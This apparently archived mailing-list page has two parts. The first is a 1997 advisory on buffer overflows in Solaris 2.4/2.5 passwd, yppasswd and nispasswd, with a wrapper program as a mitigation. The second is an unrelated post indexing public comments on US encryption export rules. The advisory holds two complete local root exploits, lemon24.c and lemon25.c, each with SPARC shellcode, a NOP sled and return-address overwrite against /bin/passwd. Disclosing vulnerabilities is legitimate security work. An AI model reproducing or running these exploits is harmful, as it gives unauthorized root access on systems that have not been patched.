Tue Feb 25 14:22 EET 1997 Romania " Another letter - another bug " An Exploit for a Big Big security hole in passwd ( + yppasswd and nispasswd) Under Solaris 2.X passwd, yppasswd and nispasswd can be overflowed in an internal function ( some like sa_chauthtok() ). Using a buffer overflow exploit anyone can gain root access (passwd need suid exec bit from root). passwd has a second overflow bug when it is called with '-s' option in an internal strcpy(). I written two exploits one for Solaris 2.4 and one for Solaris 2.5 for sa_chauthtok() type function ( passwd LEMON_BUFFER ). It's a little trick here - the LEMON_BUFFER is shifted in memory with 1 char after exec so it must to shift the LEMON_BUFFER in a reverse direction before exec - that's happening only for a special combination of the exec args - see my exploits. A way to prevent the exploit is to rename passwd, nispasswd and yppasswd and get out suid-exec bit. After that you have to compile a little program ( some like newpass.c ) with name passwd or nispasswd or yppasswd like root and give them suid-exec bit. You have to change the "hidden_passwd" constant with the new name of Xpasswd files. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)math.pub.ro , skipo(a)sundy.cs.pub.ro , skipo(a)ns.ima.ro Phone: (401) - 410.60.88 ---------------------------- file newpass.c ------------------------------- #include <stdio.h> #include <syslog.h> #define hidden_passwd "/bin/hpasswd" /*change here ...*/ #define MAX_LENGTH 32 void main(int argc, char *argv[]) { int i; char *args[10]; if(argc < 10) { args[0]=hidden_passwd; for(i = 1; i<argc; i++) { if(strlen(argv[i]) > MAX_LENGTH) { printf("You reached the maximum length in args\n"); exit(0); } else args[i]=argv[i]; } args[i]=(char *)0; execv(args[0],args); } else { printf("You reached the maximum number of args !\n"); } } ---------------------------- end newpass.c ----------------------------------- ------------------------------ EXPLOITS ---------------------------------- ------------------------------ lemon24.c -------------------------------- /* Exploit for Solaris 2.4 ( it is a little and subtile different beetwen this exploit and the prog for Solaris 2.5 - the overflow buffer is shifted with 1 char ) With argv[1] you can modify the stack_offset (+-256). */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 600 #define EXTRA 600 #define STACK_OFFSET 1400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", & buf[1],(char *) 0); perror("execl failed"); } -------------------------------- end of lemon24.c ---------------------------- ---------------------------------- lemon25.c -------------------------------- /* This is for Solaris 2.5.(1) ! With argv[1] you can modify the stack offset (+-500) if you have troubles ... */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 1100 #define EXTRA 1200 #define STACK_OFFSET 3800 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/passwd", "passwd", buf,(char *) 0); perror("execl failed"); } ----------------------------------- end of lemon25.c ------------------------- # End

1 0

BXA Site for Crypto Comments
by John Young 17 Dec '03

17 Dec '03

The Bureau of Export Administration has set up a Web page to provide the public comments submitted on transferring encryption items from the US Munitions List to the Commerce Control List. Here's the URL and index of hyperlinked comments on 24 February 1997; note the 12MB comments by Technical Communications Corp.: http://www.bxa.doc.gov/pubcomts.htm -------------------------------------------------------------------- Public Comments Encryption Items Transferred from the U.S. Munitions List to the Commerce Control List December 30, 1996 (61 FR 68572) 1. University of Waterloo, 32K 2. John and Laren Navas, 35K 3. Cylink, 49K 4. Motorola, 212K 5. Secure Computing, 78K 6. Tuttle and Taylor, 313K 7. Lyman C. Welch, 78K 8. ISTAC, 138K 9. American Association for the Advancement of Science, 230K 10. Trusted information Systems, Inc., 240K 11. IBM, 251K 12. Hughes Electronics, 250K 13. Industry Coalition on Technology Transfer (ICOTT), 196K 14. Murphy & Weber, 120K 15. Steptoe & Johnson LLP, 229K 16. America Online, Inc., 238K 17. Citibank, 1296K 18. NCR, 104K 19. American Civil Liberties Union (ACLU), 138K 20. United States Council for International Business, 449K 21. V-One, 134K 22. William A. Root, 525K 23. Thoroughbred Security Solutions, Ltd., 181K 24. Microsoft, 2783K 25. Commercial Internet Exchange Association, 340K 26. The Direct Marketing Association, Inc., 126K 27. Technical Communications Corp., 11896K 28. Software Publishers Association, 488K 29. Alston & Bird, 380K 30. Association for Computing Machinery, 417K 31. National Association of Manufacturers, 269K 32. Computer & Communications Industry Association, 374K 33. Dewey Ballantine, 284K 34. American Bankers Association, 482K 35. Steptoe & Johnson for Visa USA Inc. and Visa International, 192K 36. Winston & Strawn for ICOTT, 204K 37. Sun Microsystems, 331K 38. Key Escrow Working Group, 408K 39. Hewlett Packard, 336K 40. Scientific-Atlanta, Inc., 158K 41. Timothy Hinds, 66K 42. Information Security Incorporated, 119K 43. Securities Industry Association, 315K

1 0